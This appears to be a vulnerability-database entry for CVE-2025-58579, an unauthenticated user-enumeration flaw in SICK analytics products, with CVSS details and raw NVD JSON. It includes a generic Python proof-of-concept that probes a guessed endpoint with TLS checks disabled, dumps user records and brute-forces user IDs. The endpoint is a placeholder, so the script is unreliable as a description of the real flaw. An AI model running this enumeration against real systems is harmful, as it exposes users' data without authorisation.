Security Vulnerability Report
中文
CVE-2025-58579 CVSS 5.3 MEDIUM

CVE-2025-58579

Published: 2025-10-06 07:15:34
Last Modified: 2026-01-27 17:29:40

Description

Due to a lack of authentication, it is possible for an unauthenticated user to request data from this endpoint, making the application vulnerable for user enumeration.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:sick:baggage_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:enterprise_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:logistic_diagnostic_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:package_analytics:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:sick:tire_analytics:*:*:*:*:*:*:*:* - VULNERABLE
SICK AG相关产品(具体版本请参考官方安全公告SCA-2025-0010)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58579 PoC - SICK Product Unauthenticated User Enumeration # This PoC demonstrates how to exploit the missing authentication # on a SICK product endpoint to enumerate users. import requests import sys # Target configuration TARGET_URL = "https://target-sick-product/api/v1/users" # Replace with actual vulnerable endpoint def enumerate_users(target_url): """ Exploit CVE-2025-58579: Access user data without authentication """ headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityResearch)", "Accept": "application/json" } # Step 1: Attempt unauthenticated access to the endpoint print(f"[*] Targeting: {target_url}") print("[*] Sending unauthenticated request...") try: response = requests.get(target_url, headers=headers, timeout=10, verify=False) # Step 2: Check if access was granted without authentication if response.status_code == 200: print(f"[+] VULNERABLE! Endpoint accessible without authentication") print(f"[+] Response status: {response.status_code}") # Step 3: Parse and display user data try: data = response.json() if isinstance(data, list): print(f"[+] Found {len(data)} user records:") for user in data: print(f" - User: {user}") elif isinstance(data, dict): print(f"[+] Response data: {data}") except ValueError: print(f"[+] Raw response: {response.text[:500]}") else: print(f"[-] Endpoint returned status: {response.status_code}") print("[-] Endpoint may be patched or not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def brute_force_user_ids(target_url, start_id=1, max_id=100): """ Enumerate users by iterating through possible user IDs """ print(f"\n[*] Attempting user ID enumeration from {start_id} to {max_id}...") valid_users = [] for user_id in range(start_id, max_id + 1): url = f"{target_url}/{user_id}" try: response = requests.get(url, headers={"Accept": "application/json"}, timeout=5, verify=False) if response.status_code == 200: print(f"[+] Valid user ID found: {user_id}") valid_users.append(user_id) except requests.exceptions.RequestException: continue print(f"\n[*] Enumeration complete. Found {len(valid_users)} valid user IDs.") return valid_users if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] # Disable SSL warnings requests.packages.urllib3.disable_warnings() # Run exploitation enumerate_users(TARGET_URL) # Uncomment to run ID enumeration # brute_force_user_ids(TARGET_URL, 1, 50)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58579", "sourceIdentifier": "[email protected]", "published": "2025-10-06T07:15:34.230", "lastModified": "2026-01-27T17:29:40.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a lack of authentication, it is possible for an unauthenticated user to request data from this endpoint, making the application vulnerable for user enumeration."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sick:baggage_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "E62416BA-1BF1-43BD-98B2-57BD34128419"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:enterprise_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "04E8EA78-2780-40C0-B5BA-6CF99DE6355B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:logistic_diagnostic_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "27031959-2981-4755-9E3D-02CD083F2B72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:package_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "5955214B-0D71-449A-BFD4-8804FDF91CA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:tire_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "86C0BA69-E701-45A3-ADA5-130B8AD9DF15"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}